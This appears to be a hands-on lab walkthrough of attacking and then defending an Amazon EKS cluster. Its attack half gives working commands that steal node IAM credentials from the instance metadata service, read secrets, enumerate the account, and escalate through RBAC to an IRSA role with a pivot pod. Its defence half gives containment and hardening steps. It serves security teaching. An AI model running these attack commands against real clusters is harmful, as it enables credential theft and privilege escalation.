Scenario: The Same Heist, One Layer Up — Attacking and Defending EKS

# [laptop]  exec into the webapp pod (this is "attacker has code-exec in the app")
POD=$(kubectl -n apps get pod -l app=webapp -o name)
kubectl -n apps exec -it "$POD" -- sh

# [inside the pod]  PATH 2 — the role this workload was GIVEN via IRSA:
aws sts get-caller-identity
#   → assumed-role/eks-lab-webapp-overbroad/...   (its own IRSA role — an ASIA… cred)

# the over-broad role can read the "production secret" and enumerate the account:
aws ssm get-parameter --name /eks-lab/prod/db-password --with-decryption \
  --query Parameter.Value --output text          # → L4b-Pl@ceholder-NotReal
aws s3 ls                                          # → every bucket in the account
aws iam list-users                                 # → full IAM enumeration

# PATH 1 — now steal the NODE's role straight off IMDS (the ir-scenario attack,
# from inside a container). IMDSv1 is allowed and hop-limit is 2, so a plain GET works:
command -v curl || dnf install -y curl-minimal     # the image may not ship curl
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo "node role: $ROLE"
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
#   → AccessKeyId / SecretAccessKey / Token for the NODE's role (eks-lab-node)
exit

# [laptop]  Mint a token for the ci-deployer ServiceAccount (simulating a stolen SA
# token / a workload running as ci-deployer) and see what it can do:
TOKEN=$(kubectl -n apps create token ci-deployer)

kubectl --token="$TOKEN" -n apps auth can-i --list | grep -Ei 'secret|pod|exec'
#   → it can get/list secrets, create pods, and create pods/exec. Too much.

# 1) Direct: read the in-cluster secret it should never see
kubectl --token="$TOKEN" -n apps get secret app-secrets -o jsonpath='{.data.db-password}' | base64 -d
#   → in-cluster-secret-not-real

# 2) The bridge to CLOUD: create a pod that runs AS webapp-sa, inheriting its IRSA role.
#    "I can create pods" + "I can pick the ServiceAccount" = I can borrow any role in
#    the cluster. This is the RBAC -> IRSA -> AWS escalation.
cat <<'EOF' | kubectl --token="$TOKEN" -n apps apply -f -
apiVersion: v1
kind: Pod
metadata: { name: pivot, namespace: apps }
spec:
  serviceAccountName: webapp-sa
  containers:
  - name: c
    image: public.ecr.aws/aws-cli/aws-cli:latest
    command: ["sleep","infinity"]
EOF
kubectl -n apps exec pivot -- aws sts get-caller-identity
#   → assumed-role/eks-lab-webapp-overbroad/...  — the deployer is now the cloud role.
kubectl -n apps delete pod pivot

# [laptop]  1) NETWORK ISOLATION — label the pod so the `quarantine` NetworkPolicy
# (deny all ingress+egress) selects it. Requires VPC CNI policy enforcement, which
# the Terraform enabled.
POD=$(kubectl -n apps get pod -l app=webapp -o jsonpath='{.items[0].metadata.name}')
kubectl -n apps label pod "$POD" quarantine=isolate

# prove containment: the pod can no longer reach AWS / the internet, but is still alive
kubectl -n apps exec "$POD" -- sh -c 'aws sts get-caller-identity --cli-connect-timeout 5 || echo CONTAINED'
#   → CONTAINED (network calls time out; you can still exec/log — that's the API server)

# 2) REVOKE THE CLOUD IDENTITY — pull the IRSA role out from under the pod by removing
# the SA annotation (new token exchanges fail; existing creds die at expiry).
kubectl -n apps annotate sa webapp-sa eks.amazonaws.com/role-arn-

# 3) NODE ISOLATION — cordon (no new pods) then drain (evict existing) for forensics:
NODE=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl cordon "$NODE"
kubectl drain "$NODE" --ignore-daemonsets --delete-emptydir-data --force
# (for disk/memory forensics on the node itself, Session-Manager onto it — the node
#  role has AmazonSSMManagedInstanceCore:  aws ssm start-session --target <instance-id>)

# [laptop]  apply the restricted namespace + two pods (one bad, one good):
kubectl apply -f k8s/40-psa-restricted.yaml

kubectl label ns apps pod-security.kubernetes.io/warn=restricted    # warn first
# then, once workloads comply:
kubectl label ns apps pod-security.kubernetes.io/enforce=restricted --overwrite

# Fix path-1 IMDS theft: stop pods reaching the node's metadata service.
# In eks-nodes.tf set http_tokens="required" and http_put_response_hop_limit=1, then:
terraform apply       # new launch-template version; recycle the node group to take effect

# Default-deny egress so a popped pod can't phone home or hit IMDS in the first place:
kubectl apply -f k8s/35-default-deny-egress.yaml   # all-pods deny-egress, DNS allowed (breaks AWS calls on purpose)